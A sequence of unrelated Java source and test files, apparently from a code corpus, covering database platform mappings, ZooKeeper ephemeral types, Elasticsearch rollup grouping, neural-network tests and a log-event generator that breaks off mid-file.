fieldTypeMapping.put(java.sql.Date.class, new FieldTypeDefinition("DATE", false)); fieldTypeMapping.put(java.sql.Time.class, new FieldTypeDefinition("CHAR", 15)); fieldTypeMapping.put(java.sql.Timestamp.class, new FieldTypeDefinition("CHAR", 25)); return fieldTypeMapping; } /** * INTERNAL * We support more primitive than JDBC does so we must do conversion before printing or binding. */ public Object convertToDatabaseType(Object value) { Object databaseValue = super.convertToDatabaseType(value); if ((databaseValue instanceof java.sql.Time) || (databaseValue instanceof java.sql.Timestamp)) { databaseValue = databaseValue.toString(); } return databaseValue; } /** * INTERNAL: * DBase does not support Time/Timestamp so we must map to strings. */ public void setParameterValueInDatabaseCall(Object parameter, PreparedStatement statement, int index, AbstractSession session) throws SQLException { Object databaseValue = super.convertToDatabaseType(parameter); if ((databaseValue instanceof java.sql.Time) || (databaseValue instanceof java.sql.Timestamp)) { databaseValue = databaseValue.toString(); } super.setParameterValueInDatabaseCall(databaseValue, statement, index, session); } /** * INTERNAL: * returns the maximum number of characters that can be used in a field * name on this platform. */ public int getMaxFieldNameSize() { return 10; } public String getSelectForUpdateString() { return " FOR UPDATE OF *"; } public boolean isDBase() { return true; } /** * Builds a table of minimum numeric values keyed on java class. This is used for type testing but * might also be useful to end users attempting to sanitize values. * <p><b>NOTE</b>: BigInteger {@literal &} BigDecimal minimums are dependent upon their precision {@literal &} Scale */ public Hashtable maximumNumericValues() { Hashtable values = new Hashtable(); values.put(Integer.class, Integer.valueOf(Integer.MAX_VALUE)); values.put(Long.class, Long.valueOf("922337203685478000")); values.put(Double.class, Double.valueOf("99999999.999999999")); values.put(Short.class, Short.valueOf(Short.MIN_VALUE)); values.put(Byte.class, Byte.valueOf(Byte.MIN_VALUE)); values.put(Float.class, Float.valueOf("99999999.999999999")); values.put(java.math.BigInteger.class, new java.math.BigInteger("922337203685478000")); values.put(java.math.BigDecimal.class, new java.math.BigDecimal("999999.999999999")); return values; } /** * Builds a table of minimum numeric values keyed on java class. This is used for type testing but * might also be useful to end users attempting to sanitize values. * <p><b>NOTE</b>: BigInteger {@literal &} BigDecimal minimums are dependent upon their precision {@literal &} Scale */ public Hashtable minimumNumericValues() { Hashtable values = new Hashtable(); values.put(Integer.class, Integer.valueOf(Integer.MIN_VALUE)); values.put(Long.class, Long.valueOf("-922337203685478000")); values.put(Double.class, Double.valueOf("-99999999.999999999")); values.put(Short.class, Short.valueOf(Short.MIN_VALUE)); values.put(Byte.class, Byte.valueOf(Byte.MIN_VALUE)); values.put(Float.class, Float.valueOf("-99999999.999999999")); values.put(java.math.BigInteger.class, new java.math.BigInteger("-922337203685478000")); values.put(java.math.BigDecimal.class, new java.math.BigDecimal("-999999.999999999")); return values; } /** * Append the receiver's field 'NOT NULL' constraint clause to a writer. */ public void printFieldNotNullClause(Writer writer) { // Do nothing } /** * JDBC defines and outer join syntax, many drivers do not support this. So we normally avoid it. */ public boolean shouldUseJDBCOuterJoinSyntax() { return false; } public boolean supportsForeignKeyConstraints() { return false; } public boolean supportsPrimaryKeyConstraint() { return false; } }
44.568862
120
0.680236
5fa090d5d80d9525aafa32e68d98b5566f8c41cf
344
package org.darbots.corebotlib.debugging.interfaces.graphics.canvas_packet; import org.darbots.corebotlib.debugging.interfaces.graphics.DrawableCanvas; import java.io.Serializable; public interface CanvasPacketSegment extends Serializable { public static final long serialVersionUID = 0L; void drawOnCanvas(DrawableCanvas canvas); }
31.272727
75
0.831395
f6702ae67d3320db66820a17c96845c4063bddfe
4,087
package com.github.aiosign; import com.github.aiosign.module.request.*; import com.github.aiosign.module.response.*; import lombok.extern.slf4j.Slf4j; import org.junit.Test; /** * @author yangyouwang * @description 印章Test * @since 2020/5/13 */ @Slf4j public class SealTest extends AbstractSignTest { /** * 添加印章 */ @Test public void add() { SealAddRequest sealAddRequest = new SealAddRequest(); // 用户id sealAddRequest.setUserId("00716661208384163840"); // 印章名字 sealAddRequest.setSealName("测试印章"); // 印章类型 sealAddRequest.setSealType("01"); // 印章文件id sealAddRequest.setFileId("1f63ed0d5fd6631b788115abbb6e3bec"); // 印章规格 sealAddRequest.setSize("40*40"); // 描述 sealAddRequest.setDescription("测试"); SealResponse execute = signClient.execute(sealAddRequest); SealResponse.SealModule data = execute.getData(); // data.getSealId(); log.info("响应状态:{}", execute.getResultCode()); log.info("响应信息:{}", execute.getResultMessage()); log.info("响应数据:{}", execute.getData()); } /** * 删除印章 */ @Test public void remove() { SealRemoveRequest sealRemoveRequest = new SealRemoveRequest(); // 印章id sealRemoveRequest.setSealId("a9e48474650448709a3b577ce4f72234"); SealBatchResponse execute = signClient.execute(sealRemoveRequest); log.info("响应状态:{}", execute.getResultCode()); log.info("响应信息:{}", execute.getResultMessage()); log.info("响应数据:{}", execute.getData()); } /** * 锁定印章 */ @Test public void lock() { SealLockRequest sealLockRequest = new SealLockRequest(); // 印章id sealLockRequest.setSealId("a9e48474650448709a3b577ce4f72234"); SealBatchResponse execute = signClient.execute(sealLockRequest); log.info("响应状态:{}", execute.getResultCode()); log.info("响应信息:{}", execute.getResultMessage()); log.info("响应数据:{}", execute.getData()); } /** * 解锁印章 */ @Test public void unlock() { SealUnLockRequest sealUnLockRequest = new SealUnLockRequest(); // 印章id sealUnLockRequest.setSealId("a9e48474650448709a3b577ce4f72234"); SealBatchResponse execute = signClient.execute(sealUnLockRequest); log.info("响应状态:{}", execute.getResultCode()); log.info("响应信息:{}", execute.getResultMessage()); log.info("响应数据:{}", execute.getData()); } /** * 查询印章 */ @Test public void query() { SealIdentityRequest sealIdentityRequest = new SealIdentityRequest(); // 印章id sealIdentityRequest.setSealId("a9e48474650448709a3b577ce4f72234"); SealQueryResponse execute = signClient.execute(sealIdentityRequest); log.info("响应状态:{}", execute.getResultCode()); log.info("响应信息:{}", execute.getResultMessage()); log.info("响应数据:{}", execute.getData()); } /** * 获取用户所有印章 */ @Test public void queryUserSealInfos() { SealInfosRequest sealInfosRequest = new SealInfosRequest(); sealInfosRequest.setUserId("00765245060136194048");//用户ID SealInfosResponse execute = signClient.execute(sealInfosRequest); log.info("响应状态:{}", execute.getResultCode()); log.info("响应信息:{}", execute.getResultMessage()); log.info("响应数据:{}", execute.getData()); } /** * 根据用户、印章类型获取印章信息 */ @Test public void querySealInfosByUserOrType() { SealInfosByUserOrTypeRequest request = new SealInfosByUserOrTypeRequest(); request.setUserIds("00765245060136194048,00745413246592897024");//用户ID,以逗号分隔 request.setSealTypes("02,99,05");//印章类型,以逗号分隔 request.setPageNum(1);//数据页码 request.setPageSize(10);//数据长度 SealInfosByUserOrTypeResponse execute = signClient.execute(request); log.info("响应状态:{}", execute.getResultCode()); log.info("响应信息:{}", execute.getResultMessage()); log.info("响应数据:{}", execute.getData()); } }
32.181102
84
0.630536
33f8c76cb4fd15e75df22f34e135f9974c4dab67
5,605
package de.tub.dima.scotty.slicing.aggregationstore.test; import de.tub.dima.scotty.core.windowFunction.ReduceAggregateFunction; import de.tub.dima.scotty.core.windowType.ForwardContextAware; import de.tub.dima.scotty.core.windowType.SessionWindow; import de.tub.dima.scotty.core.windowType.WindowMeasure; import de.tub.dima.scotty.core.windowType.windowContext.WindowContext; import de.tub.dima.scotty.slicing.WindowManager; import de.tub.dima.scotty.slicing.aggregationstore.AggregationStore; import de.tub.dima.scotty.slicing.aggregationstore.LazyAggregateStore; import de.tub.dima.scotty.slicing.slice.EagerSlice; import de.tub.dima.scotty.slicing.slice.LazySlice; import de.tub.dima.scotty.slicing.slice.Slice; import de.tub.dima.scotty.slicing.slice.SliceFactory; import de.tub.dima.scotty.state.StateFactory; import org.junit.Before; import org.junit.Test; import static org.junit.Assert.assertFalse; import static org.junit.Assert.assertTrue; public class SliceFactoryTest { /* * This test shows, that the implementation of the SliceFactory reflects * the decision tree for storing individual tuples in the General Stream Slicing Paper. */ AggregationStore<Integer> aggregationStore; StateFactory stateFactory; WindowManager windowManager; SliceFactory<Integer, Integer> sliceFactory; @Before public void setup() { aggregationStore = new LazyAggregateStore<>(); stateFactory = new StateFactoryMock(); windowManager = new WindowManager(stateFactory, aggregationStore); sliceFactory = new SliceFactory<>(windowManager, stateFactory); windowManager.addAggregation(new ReduceAggregateFunction<Integer>() { @Override public Integer combine(Integer partialAggregate1, Integer partialAggregate2) { return partialAggregate1 + partialAggregate2; } }); } /** * Lazy slices should be produced for context-aware window types to keep the tuples * of the stream in memory. */ @Test public void LazySliceTest() { windowManager.addWindowAssigner(new TestWindow(WindowMeasure.Time)); assertTrue(windowManager.getMaxLateness() > 0); // out-of-order stream assertTrue(windowManager.hasContextAwareWindow()); // no context free or session window assertFalse(windowManager.isSessionWindowCase()); Slice<Integer, Integer> slice = sliceFactory.createSlice(0, 10, new Slice.Fixed()); assertTrue("Slice factory produced Eager Slice", slice instanceof LazySlice); } /** * Lazy slices should be produced for window types with count-based measure to keep the tuples * of the stream in memory. */ @Test public void LazySliceTestCount() { windowManager.addWindowAssigner(new TestWindow(WindowMeasure.Count)); assertTrue(windowManager.hasCountMeasure()); Slice<Integer, Integer> slice = sliceFactory.createSlice(0, 10, new Slice.Fixed()); assertTrue("Slice factory produced Eager Slice", slice instanceof LazySlice); } /** * Session windows do not require keeping tuples in memory, thus the SliceFactory should produce eager slices. */ @Test public void EagerSliceTestSession() { windowManager.addWindowAssigner(new SessionWindow(WindowMeasure.Time, 1000)); assertTrue(windowManager.getMaxLateness() > 0); // out-of-order stream assertTrue(windowManager.hasContextAwareWindow()); // no context free window assertTrue(windowManager.isSessionWindowCase()); // but special case of only session window assertFalse(windowManager.hasCountMeasure()); // no count measure Slice<Integer, Integer> slice = sliceFactory.createSlice(0, 10, new Slice.Fixed()); assertTrue("Slice factory produced Lazy Slice", slice instanceof EagerSlice); windowManager.addWindowAssigner(new SessionWindow(WindowMeasure.Time, 2000)); //add another session window assertTrue(windowManager.isSessionWindowCase()); // but special case of only session window slice = sliceFactory.createSlice(0, 10, new Slice.Fixed()); assertTrue("Slice factory produced Lazy Slice", slice instanceof EagerSlice); } /** * Session windows do not require keeping tuples in memory, but other context aware windows require to keep them. * The SliceFactory should produce lazy slices. */ @Test public void LazySliceTestContextAware() { windowManager.addWindowAssigner(new SessionWindow(WindowMeasure.Time, 1000)); windowManager.addWindowAssigner(new TestWindow(WindowMeasure.Time)); assertTrue(windowManager.getMaxLateness() > 0); // out-of-order stream assertTrue(windowManager.hasContextAwareWindow()); // no context free window assertFalse(windowManager.isSessionWindowCase()); // no special case of session window, because of other context aware window Slice<Integer, Integer> slice = sliceFactory.createSlice(0, 10, new Slice.Fixed()); assertTrue("Slice factory produced Eager Slice", slice instanceof LazySlice); } public class TestWindow implements ForwardContextAware{ WindowMeasure windowMeasure; public TestWindow(WindowMeasure windowMeasure) { this.windowMeasure = windowMeasure; } @Override public WindowContext createContext() { return null; } @Override public WindowMeasure getWindowMeasure() { return windowMeasure; } } }
39.471831
133
0.717395
dd9415016d2c311f9d30e4a765019d85cde6d33e
3,587
/* * * * Copyright 2017 Symphony Communication Services, LLC. * * Licensed to The Symphony Software Foundation (SSF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package org.symphonyoss.symphony.tools.rest.ui.pods; import java.net.URL; import org.eclipse.core.runtime.FileLocator; import org.eclipse.core.runtime.Path; import org.eclipse.jface.resource.ImageDescriptor; import org.osgi.framework.Bundle; import org.osgi.framework.FrameworkUtil; public class ModelObjectView { private static final String ICONS = "icons/"; private static final String OBJ16 = ICONS + "obj16/"; private static final String GIF = ".gif"; private static final Bundle BUNDLE = FrameworkUtil.getBundle(ModelObjectView.class); public static final ImageDescriptor IMAGE_SYMPHONY = getObjectImageDescriptor("symphony"); // public static final ImageDescriptor IMAGE_WEB = getObjectImageDescriptor("web"); // public static final ImageDescriptor IMAGE_KEY_MANAGER = getObjectImageDescriptor("key_manager"); // public static final ImageDescriptor IMAGE_SESSION_AUTH = getObjectImageDescriptor("session_auth"); // public static final ImageDescriptor IMAGE_KEY_AUTH = getObjectImageDescriptor("key_auth"); // public static final ImageDescriptor IMAGE_AGENT = getObjectImageDescriptor("agent"); // public static final ImageDescriptor IMAGE_PRINCIPAL = getObjectImageDescriptor("User"); // // public static final ImageDescriptor IMAGE_STATUS_ERROR = getObjectImageDescriptor("status/Error"); // public static final ImageDescriptor IMAGE_STATUS_FAILED = getObjectImageDescriptor("status/Failed"); // public static final ImageDescriptor IMAGE_STATUS_INITIALIZING = getObjectImageDescriptor("status/Initializing"); // public static final ImageDescriptor IMAGE_STATUS_NOT_READY = getObjectImageDescriptor("status/NotReady"); // public static final ImageDescriptor IMAGE_STATUS_OK = getObjectImageDescriptor("status/OK"); // public static final ImageDescriptor IMAGE_STATUS_STARTING = getObjectImageDescriptor("status/Starting"); // public static final ImageDescriptor IMAGE_STATUS_STOPPED = getObjectImageDescriptor("status/Stopped"); // public static final ImageDescriptor IMAGE_STATUS_STOPPING = getObjectImageDescriptor("status/Stopping"); // public static final ImageDescriptor IMAGE_STATUS_WARNING = getObjectImageDescriptor("status/Warning"); public static ImageDescriptor getObjectImageDescriptor(String name) { return image(OBJ16 + name + GIF); } private static ImageDescriptor image(String path) { URL url = FileLocator.find(BUNDLE, new Path(path), null); return ImageDescriptor.createFromURL(url); } }
50.521127
116
0.735991
f83b61396cf70844f562d00402901d19b46b89f7
1,279
/* * To change this template, choose Tools | Templates * and open the template in the editor. */ package uit.tkorg.utility.evaluation; import java.util.List; /** * This class content methods for computing metric related to ReciprocalRank. * Caller needs to get mean of reciprocal rank later. * Ref: * 1. https://en.wikipedia.org/wiki/Mean_reciprocal_rank * 2. http://www.stanford.edu/class/cs276/handouts/EvaluationNew-handout-6-per.pdf * @author THNghiep */ public class ReciprocalRank { // Prevent instantiation. private ReciprocalRank() { } /** * This method computes the reciprocal rank of 1 list. * @param rankList * @param groundTruth * @return reciprocal rank. */ public static double computeRR(List rankList, List groundTruth) throws Exception { if ((rankList == null) || (groundTruth == null) || (rankList.isEmpty()) || (groundTruth.isEmpty())) { return 0.0; } for (int i = 0; i < rankList.size(); i++) { if (groundTruth.contains(rankList.get(i))) { // Reciprocal of first relevant item position. return (double) 1 / (i + 1); } } return 0.0; } }
29.068182
110
0.594214
6d7bb256be72205b4668513598ec7676762babfb
2,351
/** * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * <p/> * http://www.apache.org/licenses/LICENSE-2.0 * <p/> * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.zookeeper.server; import org.apache.zookeeper.CreateMode; public enum EphemeralType { /** * Not ephemeral */ VOID, /** * Standard, pre-3.5.x EPHEMERAL */ NORMAL, /** * Container node */ CONTAINER, /** * TTL node */ TTL; public static final long CONTAINER_EPHEMERAL_OWNER = Long.MIN_VALUE; public static final long MAX_TTL = 0x0fffffffffffffffL; public static final long TTL_MASK = 0x8000000000000000L; public static EphemeralType get(long ephemeralOwner) { if (ephemeralOwner == CONTAINER_EPHEMERAL_OWNER) { return CONTAINER; } if (ephemeralOwner < 0) { return TTL; } return (ephemeralOwner == 0) ? VOID : NORMAL; } public static void validateTTL(CreateMode mode, long ttl) { if (mode.isTTL()) { ttlToEphemeralOwner(ttl); } else if (ttl >= 0) { throw new IllegalArgumentException("ttl not valid for mode: " + mode); } } public static long getTTL(long ephemeralOwner) { if ((ephemeralOwner < 0) && (ephemeralOwner != CONTAINER_EPHEMERAL_OWNER)) { return (ephemeralOwner & MAX_TTL); } return 0; } public static long ttlToEphemeralOwner(long ttl) { if ((ttl > MAX_TTL) || (ttl <= 0)) { throw new IllegalArgumentException("ttl must be positive and cannot be larger than: " + MAX_TTL); } return TTL_MASK | ttl; } }
30.141026
109
0.643981
16261de31b3ce49790aa16a3becfc7949dbc4841
4,178
package org.deeplearning4j.models.classifiers.dbn; import org.apache.commons.math3.random.MersenneTwister; import org.apache.commons.math3.random.RandomGenerator; import org.deeplearning4j.datasets.fetchers.MnistDataFetcher; import org.deeplearning4j.datasets.iterator.DataSetIterator; import org.deeplearning4j.datasets.iterator.impl.IrisDataSetIterator; import org.deeplearning4j.distributions.Distributions; import org.deeplearning4j.eval.Evaluation; import org.deeplearning4j.models.featuredetectors.rbm.RBM; import org.deeplearning4j.nn.api.NeuralNetwork; import org.nd4j.linalg.api.activation.Activations; import org.nd4j.linalg.api.ndarray.INDArray; import org.nd4j.linalg.dataset.DataSet; import org.nd4j.linalg.lossfunctions.LossFunctions; import org.deeplearning4j.nn.WeightInit; import org.deeplearning4j.nn.conf.NeuralNetConfiguration; import org.junit.Test; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import java.io.IOException; import java.util.Arrays; import java.util.List; /** * Created by agibsonccc on 8/28/14. */ public class DBNTest { private static Logger log = LoggerFactory.getLogger(DBNTest.class); @Test public void testIris() { RandomGenerator gen = new MersenneTwister(123); List<NeuralNetConfiguration> conf = new NeuralNetConfiguration.Builder() .iterations(1) .weightInit(WeightInit.DISTRIBUTION).dist(Distributions.normal(gen, 1e-2)) .activationFunction(Activations.tanh()) .visibleUnit(RBM.VisibleUnit.GAUSSIAN).hiddenUnit(RBM.HiddenUnit.RECTIFIED) .lossFunction(LossFunctions.LossFunction.RECONSTRUCTION_CROSSENTROPY) .optimizationAlgo(NeuralNetwork.OptimizationAlgorithm.GRADIENT_DESCENT) .rng(gen) .learningRate(1e-2f) .nIn(4).nOut(3).list(2).override(new NeuralNetConfiguration.ConfOverride() { @Override public void override(int i, NeuralNetConfiguration.Builder builder) { if (i == 1) { builder.weightInit(WeightInit.ZERO); builder.activationFunction(Activations.softMaxRows()); builder.lossFunction(LossFunctions.LossFunction.MCXENT); } } }).build(); DBN d = new DBN.Builder().layerWiseConfiguration(conf) .hiddenLayerSizes(new int[]{3}).build(); DataSetIterator iter = new IrisDataSetIterator(150, 150); DataSet next = iter.next(100); next.normalizeZeroMeanZeroUnitVariance(); d.fit(next); Evaluation eval = new Evaluation(); INDArray output = d.output(next.getFeatureMatrix()); eval.eval(next.getLabels(),output); log.info("Score " + eval.stats()); } @Test public void testDbn() throws IOException { RandomGenerator gen = new MersenneTwister(123); NeuralNetConfiguration conf = new NeuralNetConfiguration.Builder().withActivationType(NeuralNetConfiguration.ActivationType.NET_ACTIVATION) .momentum(9e-1f).weightInit(WeightInit.DISTRIBUTION).dist(Distributions.normal(gen,1e-1)) .lossFunction(LossFunctions.LossFunction.RECONSTRUCTION_CROSSENTROPY).rng(gen).iterations(10) .learningRate(1e-1f).nIn(784).nOut(10).build(); DBN d = new DBN.Builder().configure(conf) .hiddenLayerSizes(new int[]{500, 250, 200}) .build(); d.getInputLayer().conf().setRenderWeightIterations(10); NeuralNetConfiguration.setClassifier(d.getOutputLayer().conf()); MnistDataFetcher fetcher = new MnistDataFetcher(true); fetcher.fetch(10); DataSet d2 = fetcher.next(); d.fit(d2); INDArray predict2 = d.output(d2.getFeatureMatrix()); Evaluation eval = new Evaluation(); eval.eval(d2.getLabels(),predict2); log.info(eval.stats()); int[] predict = d.predict(d2.getFeatureMatrix()); log.info("Predict " + Arrays.toString(predict)); } }
35.40678
147
0.668023
91b8f1ad102e222262e2e3885f07f7ade386b87b
629
package dev.alexengrig.myjdi.event; import com.sun.jdi.Field; import com.sun.jdi.ObjectReference; import com.sun.jdi.Value; import com.sun.jdi.event.WatchpointEvent; public abstract class YouthWatchpointEventDelegate<E extends WatchpointEvent> extends YouthLocatableEventDelegate<E> implements WatchpointEvent { public YouthWatchpointEventDelegate(E event) { super(event); } public Field field() { return event.field(); } public ObjectReference object() { return event.object(); } public Value valueCurrent() { return event.valueCurrent(); } }
23.296296
77
0.694754
dcb393b088618be7b96a49022e8f323d2ae34502
6,575
/* * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one * or more contributor license agreements. Licensed under the Elastic License; * you may not use this file except in compliance with the Elastic License. */ package org.elasticsearch.xpack.core.rollup.job; import org.elasticsearch.action.ActionRequestValidationException; import org.elasticsearch.action.fieldcaps.FieldCapabilities; import org.elasticsearch.common.Nullable; import org.elasticsearch.common.ParseField; import org.elasticsearch.common.Strings; import org.elasticsearch.common.io.stream.StreamInput; import org.elasticsearch.common.io.stream.StreamOutput; import org.elasticsearch.common.io.stream.Writeable; import org.elasticsearch.common.xcontent.ObjectParser; import org.elasticsearch.common.xcontent.ToXContentObject; import org.elasticsearch.common.xcontent.XContentBuilder; import java.io.IOException; import java.util.HashSet; import java.util.Map; import java.util.Objects; import java.util.Set; /** * The configuration object for the groups section in the rollup config. * Basically just a wrapper for histo/date histo/terms objects * * { * "groups": [ * "date_histogram": {...}, * "histogram" : {...}, * "terms" : {...} * ] * } */ public class GroupConfig implements Writeable, ToXContentObject { private static final String NAME = "grouping_config"; private static final ParseField DATE_HISTO = new ParseField("date_histogram"); private static final ParseField HISTO = new ParseField("histogram"); private static final ParseField TERMS = new ParseField("terms"); private final DateHistoGroupConfig dateHisto; private final HistoGroupConfig histo; private final TermsGroupConfig terms; public static final ObjectParser<GroupConfig.Builder, Void> PARSER = new ObjectParser<>(NAME, GroupConfig.Builder::new); static { PARSER.declareObject(GroupConfig.Builder::setDateHisto, (p,c) -> DateHistoGroupConfig.PARSER.apply(p,c).build(), DATE_HISTO); PARSER.declareObject(GroupConfig.Builder::setHisto, (p,c) -> HistoGroupConfig.PARSER.apply(p,c).build(), HISTO); PARSER.declareObject(GroupConfig.Builder::setTerms, (p,c) -> TermsGroupConfig.PARSER.apply(p,c).build(), TERMS); } private GroupConfig(DateHistoGroupConfig dateHisto, @Nullable HistoGroupConfig histo, @Nullable TermsGroupConfig terms) { this.dateHisto = Objects.requireNonNull(dateHisto, "A date_histogram group is mandatory"); this.histo = histo; this.terms = terms; } GroupConfig(StreamInput in) throws IOException { dateHisto = new DateHistoGroupConfig(in); histo = in.readOptionalWriteable(HistoGroupConfig::new); terms = in.readOptionalWriteable(TermsGroupConfig::new); } public DateHistoGroupConfig getDateHisto() { return dateHisto; } public HistoGroupConfig getHisto() { return histo; } public TermsGroupConfig getTerms() { return terms; } public Set<String> getAllFields() { Set<String> fields = new HashSet<>(); fields.add(dateHisto.getField()); if (histo != null) { fields.addAll(histo.getAllFields()); } if (terms != null) { fields.addAll(terms.getAllFields()); } return fields; } public void validateMappings(Map<String, Map<String, FieldCapabilities>> fieldCapsResponse, ActionRequestValidationException validationException) { dateHisto.validateMappings(fieldCapsResponse, validationException); if (histo != null) { histo.validateMappings(fieldCapsResponse, validationException); } if (terms != null) { terms.validateMappings(fieldCapsResponse, validationException); } } @Override public XContentBuilder toXContent(XContentBuilder builder, Params params) throws IOException { builder.startObject(); builder.startObject(DATE_HISTO.getPreferredName()); dateHisto.toXContent(builder, params); builder.endObject(); if (histo != null) { builder.startObject(HISTO.getPreferredName()); histo.toXContent(builder, params); builder.endObject(); } if (terms != null) { builder.startObject(TERMS.getPreferredName()); terms.toXContent(builder, params); builder.endObject(); } builder.endObject(); return builder; } @Override public void writeTo(StreamOutput out) throws IOException { dateHisto.writeTo(out); out.writeOptionalWriteable(histo); out.writeOptionalWriteable(terms); } @Override public boolean equals(Object other) { if (this == other) { return true; } if (other == null || getClass() != other.getClass()) { return false; } GroupConfig that = (GroupConfig) other; return Objects.equals(this.dateHisto, that.dateHisto) && Objects.equals(this.histo, that.histo) && Objects.equals(this.terms, that.terms); } @Override public int hashCode() { return Objects.hash(dateHisto, histo, terms); } @Override public String toString() { return Strings.toString(this, true, true); } public static class Builder { private DateHistoGroupConfig dateHisto; private HistoGroupConfig histo; private TermsGroupConfig terms; public DateHistoGroupConfig getDateHisto() { return dateHisto; } public GroupConfig.Builder setDateHisto(DateHistoGroupConfig dateHisto) { this.dateHisto = dateHisto; return this; } public HistoGroupConfig getHisto() { return histo; } public GroupConfig.Builder setHisto(HistoGroupConfig histo) { this.histo = histo; return this; } public TermsGroupConfig getTerms() { return terms; } public GroupConfig.Builder setTerms(TermsGroupConfig terms) { this.terms = terms; return this; } public GroupConfig build() { if (dateHisto == null) { throw new IllegalArgumentException("A date_histogram group is mandatory"); } return new GroupConfig(dateHisto, histo, terms); } } }
33.375635
133
0.653384
7a39f5204964e61d11052b6b23642784b5eb9f95
506
package br.com.starcode.parccser.model; public class TypeSelector extends SimpleSelector { private String type; private boolean isUniversal; public TypeSelector( String type, Context context) { super(context); this.type = type; this.isUniversal = "*".equals(type); } public String getType() { return type; } public boolean isUniversal() { return isUniversal; } }
20.24
51
0.55336
2230459df85f545056d62fcdbc5f7e330a155eb0
264
package com.learning.patterns.po; import lombok.Data; import java.util.Date; /** * @author wangzhen * @date 2020/9/21 */ @Data public class User { private String name; private Integer age; private Date birthday; private String timezone; }
12.571429
33
0.681818
41824dd27ab5a552721dbb04bf95f1e2f677c4b0
10,469
package com.logginghub.logging.simulator; import java.text.NumberFormat; import java.util.ArrayList; import java.util.Calendar; import java.util.GregorianCalendar; import java.util.List; import java.util.Random; import java.util.TimeZone; import com.logginghub.logging.DefaultLogEvent; import com.logginghub.logging.LogEvent; import com.logginghub.logging.LogEventBuilder; import com.logginghub.utils.FixedTimeProvider; import com.logginghub.utils.LERP; import com.logginghub.utils.Multiplexer; import com.logginghub.utils.Out; import com.logginghub.utils.StringUtils; import com.logginghub.utils.SystemTimeProvider; import com.logginghub.utils.ThreadUtils; import com.logginghub.utils.TimeProvider; import com.logginghub.utils.TimeUtils; import com.logginghub.utils.WorkerThread; import com.logginghub.utils.logging.Logger; public class TimeBasedGenerator { private String[] clients = new String[] { "ClientA", "ClientB", "ClientC", "ClientD" }; private Random random = new Random(); private static NumberFormat numberFormat = NumberFormat.getInstance(); private TimeProvider timeProvider = new SystemTimeProvider(); private Calendar calendar = new GregorianCalendar(TimeZone.getTimeZone("UTC")); private double currentDelayNanos = 0.125 * 1e6;; private volatile int count = 0; private Multiplexer<LogEvent> eventMultiplexer = new Multiplexer<LogEvent>(); private double factor = 1; private WorkerThread targetRateThread; private WorkerThread statsThread; private WorkerThread generatorThread; public TimeBasedGenerator() { setupRanges(); } public Multiplexer<LogEvent> getEventMultiplexer() { return eventMultiplexer; } class Range { int rangeMin; int rangeMax; double valueMin; double valueMax; int[] randomisationDistribution; Random random = new Random(); LERP lerp; public Range(int rangeMin, int rangeMax, double valueMin, double valueMax, int[] randomisationDistribution) { super(); this.rangeMin = rangeMin; this.rangeMax = rangeMax; this.valueMin = valueMin; this.valueMax = valueMax; this.randomisationDistribution = randomisationDistribution; lerp = new LERP(randomisationDistribution); // for(int i = 0; i < 11; i++) { // System.out.println(i + " : " + lerp.lerp(i / 10d)); // } } public boolean contains(double position) { return position >= rangeMin && position < rangeMax; } public double value(double position) { double relativePosition = position - rangeMin; double positionFactor = relativePosition / ((double) rangeMax - rangeMin); double positionValue = valueMin + (positionFactor * (valueMax - valueMin)); double randomisationFactor = lerp.lerp(positionFactor); double halfRandomisationFactor = randomisationFactor / 2; double randomValue = -halfRandomisationFactor + (random.nextDouble() * randomisationFactor); double finalValue = positionValue + randomValue; return finalValue; } } private List<Range> ranges = new ArrayList<Range>(); public void setupRanges() { ranges.add(new Range(0, 100, 1, 4, new int[] { 0 })); ranges.add(new Range(100, 500, 4, 10, new int[] { 0, 0, 2 })); ranges.add(new Range(500, 1000, 10, 20, new int[] { 2, 3, 4 })); ranges.add(new Range(1000, 2000, 20, 50, new int[] { 5, 6, 7 })); ranges.add(new Range(2000, 5000, 50, 1000, new int[] { 8, 9, 10 })); ranges.add(new Range(5000, 5000000, 1000, 2000, new int[] { 100, 100 })); // 0, 100 = 1-4 ms +/- 1ms [1,1,1,1,1,1,1,1,1] // 100, 500 = 4-10ms +/- 2ms [1,1,1,1,1,1,1,1,1] // 500, 1000 = 10-20ms +/- 8ms [1,1,1,1,1,1,1,1,1] // 1000, 2000 = 20 - 50 ms +/- 15 ms [1,1,1,1,1,1,1,1,1] // 2000, 5000 = 50 - 1000 ms +/- 30 ms [1,1,1,1,1,1,1,1,500] } public double getDuration(double position) { double value = -1; for (Range range : ranges) { if (range.contains(position)) { value = range.value(position); break; } } return value; } public double getDuration() { double value = 1; int position = (int) (1e9 / currentDelayNanos); for (Range range : ranges) { if (range.contains(position)) { value = range.value(position); break; } } return value; } public void startGeneratorThread() { generatorThread = WorkerThread.executeOngoing("LoggingHub-TimeBasedGenerator-Worker", new Runnable() { @Override public void run() { long start = System.nanoTime(); generate(timeProvider.getTime()); long elapsed = System.nanoTime() - start; double incrementalDelay = currentDelayNanos - elapsed; try { ThreadUtils.sleepNanos((long) (incrementalDelay - 1590)); } catch (InterruptedException e) { Thread.interrupted(); } } }); } public void startStatsThread() { statsThread = WorkerThread.everySecondDaemon("LoggingHub-TimeBasedGenerator-Stats", new Runnable() { @Override public void run() { Out.out("{} | {}", Logger.toDateString(timeProvider.getTime()), count); count = 0; } }); } public void startTargetRateThread() { targetRateThread = WorkerThread.everySecond("LoggingHub-TimeBasedGenerator-TargetRate", new Runnable() { @Override public void run() { updateTargetRate(); } }); } private void updateTargetRate() { int target = getCountChars(); currentDelayNanos = 1e9 / target / factor; } public int getCount() { long time = 